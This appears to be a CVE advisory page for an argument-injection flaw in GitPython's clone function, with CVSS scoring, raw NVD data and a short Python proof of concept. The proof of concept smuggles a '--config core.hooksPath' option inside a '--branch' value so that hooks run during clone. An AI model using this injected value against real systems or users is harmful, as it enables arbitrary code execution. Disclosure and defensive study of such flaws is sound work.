Security Vulnerability Report
中文
CVE-2026-42284 CVSS 8.1 HIGH

CVE-2026-42284

Published: 2026-05-07 19:16:02
Last Modified: 2026-05-08 23:16:36

Description

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:python:*:* - VULNERABLE
GitPython < 3.1.47

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import git # Scenario: Target repository URL repo_url = "https://github.com/example/target-repo.git" local_path = "./cloned_repo" # Vulnerable payload: It starts with a safe option ('--branch') # but injects a malicious config option via string splitting. # This payload will pass the initial list validation. malicious_options = [ "--branch main --config core.hooksPath=/tmp/evil_hooks" ] try: # In versions < 3.1.47, this triggers the vulnerability print(f"Attempting to clone with multi_options: {malicious_options}") repo = git.Repo.clone_from(repo_url, local_path, multi_options=malicious_options) print("Clone completed. If hooks existed in /tmp/evil_hooks, code was executed.") except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42284", "sourceIdentifier": "[email protected]", "published": "2026-05-07T19:16:01.783", "lastModified": "2026-05-08T23:16:36.250", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(\" \".join(multi_options)). A string like \"--branch main --config core.hooksPath=/x\" passes validation (starts with --branch), but after split becomes [\"--branch\", \"main\", \"--config\", \"core.hooksPath=/x\"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-88"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:python:*:*", "versionEndExcluding": "3.1.47", "matchCriteriaId": "9A895D2D-664B-48E6-BF39-AA96F978BAE9"}]}]}], "references": [{"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47", "source": "[email protected]", "tags": ["Patch", "Release Notes"]}, {"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://www.tenable.com/cve/CVE-2026-32686", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}